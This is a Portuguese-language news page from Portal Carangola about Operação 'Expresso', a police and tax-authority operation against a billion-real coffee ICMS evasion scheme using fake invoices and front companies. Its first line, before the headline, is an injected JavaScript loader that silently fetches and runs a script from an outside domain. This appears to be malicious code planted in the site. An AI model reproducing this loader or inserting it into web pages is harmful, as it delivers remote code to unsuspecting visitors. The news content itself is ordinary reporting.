;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Operação desmonta esquema bilionário de sonegação em MG, PR, SP e ES. - Portal Carangola

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Operação desmonta esquema bilionário de sonegação em MG, PR, SP e ES.

A Polícia Civil de Minas Gerais (PCMG) participa da operação “Expresso”, realizada nesta terça-feira (16/3). Ao todo, mais de 710 policiais civis, auditores das receitas e peritos estão nas ruas para cumprir 220 mandados judiciais, sendo 35 de prisão temporária, 124 de busca e apreensão e 61 de sequestro de bens, nos estados de Minas Gerais, Paraná, São Paulo e Espírito Santo. A ação mira envolvidos em esquema bilionário de sonegação fiscal no ramo de comercialização de café em grão, além de crimes de falsidade ideológica, lavagem de dinheiro e associação criminosa.

A força-tarefa responsável pela operação “Expresso” é coordenada pela Polícia Civil do Paraná, por meio de sua Divisão Estadual de Combate à Corrupção, com a atuação integrada, dentro das atribuições de cada órgão envolvido, da Receita Federal do Brasil; das receitas estaduais de Paraná, Minas Gerais e São Paulo; dos ministérios públicos do Paraná e Minas Gerais; e além da PCMG, das polícias civis do Espírito Santo e São Paulo; e da Polícia Científica do Paraná.

Levantamentos iniciais apontam que os valores devidos aos cofres públicos podem ultrapassar R$ 1 bilhão em impostos estaduais e federais, multas e correção monetária. Para fins de comparação, este valor poderia ser usado para comprar mais de 17,2 milhões de doses de vacinas contra a covid-19 ou implantar mais 5.540 novos leitos de UTI em hospitais.

Envolvidos

A força-tarefa tem como objetivo desmantelar um grande esquema criminoso de sonegação de impostos e creditação indevida de ICMS na compra e na venda de café em grão cru, decorrente de comercialização interestadual. Os alvos são pessoas físicas e empresas. Entre estes, grandes atacadistas e corretores de café em grãos do Paraná, além de transportadores, proprietários e representantes de torrefações paranaenses conhecidas no ramo cafeeiro nacional.

Os mandados judiciais estão sendo cumpridos em 39 municípios: Londrina, Carlópolis, Cornélio Procópio, Ibaiti, Jandaia do Sul, Mandaguari, Maringá, Matinhos, Pérola, Rolândia e Santo Antônio da Platina, no Paraná; São Paulo, Espírito Santo do Pinhal, Hortolândia, Itatiba, Itu, Leme, Santo Antônio do Jardim, São Bernardo do Campo e Santos, em São Paulo; Vitória, Colatina e Vila Velha, no Espírito Santo; Belo Horizonte, Aimorés, Andradas, Borda da Mata, Divino, Itamogi, Itueta, Manhuaçu, Matozinhos, Miraí, Muriaé, Ouro Fino, Patrocínio, Poços de Caldas, São Sebastião do Paraíso e Varginha, em Minas Gerais.

O esquema

De acordo com a força-tarefa, atacadistas e corretores de café de Londrina e região possibilitavam a diversas torrefações do Paraná a aquisição do grão cru de duas formas. A primeira, destinando o produto juntamente com créditos fraudulentos de ICMS advindos de notas fiscais falsas; a segunda, na aquisição do café em operações fraudulentas, dentro do Paraná, em que o recolhimento dos tributos não era feito.

Em ambos os casos, a mercadoria vinha de Minas Gerais e do Espírito Santo, comercializada por cooperativas e produtores rurais desses estados. As notas fiscais destinadas a empresas de fachada, as chamadas “noteiras”, também eram localizadas em Minas Gerais e no Espírito Santo.

 

A delegada Karla Hermont explica que “o objeto (da operação) são créditos indevidos de ICMS com empresas criadas de fachada em São Paulo e a transferência para o Paraná. Mas, na verdade, os verdadeiros fornecedores de café seriam empresas mineiras”.

As operações envolvendo empresas dos dois estados possibilitavam o não recolhimento do ICMS sobre as notas fiscais falsas. Paralelamente, outra empresa “noteira”, situada em São Paulo, emitia notas fiscais falsas destinadas a atacadistas e torrefações do Paraná.

Nos dois tipos de aquisição irregular do café em grão cru, os destinatários do Paraná se beneficiavam com o crédito de milhões de reais em ICMS de operações interestaduais fraudulentas que nunca foram pagos.

As investigações apontam ainda que, por diversas vezes, o produto adquirido por meio de notas fiscais falsas oriundas de São Paulo era destinado a empresas de café solúvel de Londrina e de Cornélio Procópio, ocasião em que, simulando uma venda da mercadoria dentro do Paraná, os atacadistas emitiam uma terceira nota fiscal falsa, acarretando aos próprios atacadistas o não recolhimento do tributo.

“O objetivo é identificar os verdadeiros beneficiários dessa cadeia, os verdadeiros adquirentes e os verdadeiros fornecedores dessas mercadorias, para que o imposto seja cobrado devidamente de quem está burlando o fisco”, explica Hermont.

Valores

Somados os valores, as “noteiras” de Minas Gerais e de São Paulo emitiram mais de R$ 6 bilhões em notas fiscais falsas, entre janeiro de 2016 e fevereiro de 2021, sendo R$ 2 bilhões só em 2020. Os valores devidos aos cofres mineiros passam de R$ 350 milhões.

Quanto às empresas destinatárias das notas fiscais falsas no Paraná, a estimativa é que elas tenham acumulado créditos tributários fraudulentos de, aproximadamente, R$ 100 milhões, considerando que receberam cerca de R$ 1 bilhão em notas frias. Sobre o valor fraudado, ainda devem ser acrescentados 60% de multa, correção monetária e juros, fazendo com que o total devido aos cofres paranaenses chegue a cerca de R$ 200 milhões.

Houve também sonegação de tributos federais (IRPF). O montante, neste caso, pode chegar a R$ 200 milhões. Além disso, como há o evidente intuito de fraude, a multa é qualificada e corresponde a 150% do valor lançado; ou seja, o valor dos tributos federais sonegados e a multa correspondente pode chegar a R$ 500 milhões.

Os órgãos envolvidos na Operação “Expresso” alertam que, além de subtrair recursos da coletividade, a sonegação de tributos gera concorrência desleal, uma vez que, ao não cumprir com suas obrigações legais, a empresa fraudulenta cria condições para oferecer produtos com valores abaixo do praticado pelo mercado, prejudicando as empresas cumpridoras de seus deveres.

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Texto: Agência Minas (com alterações)

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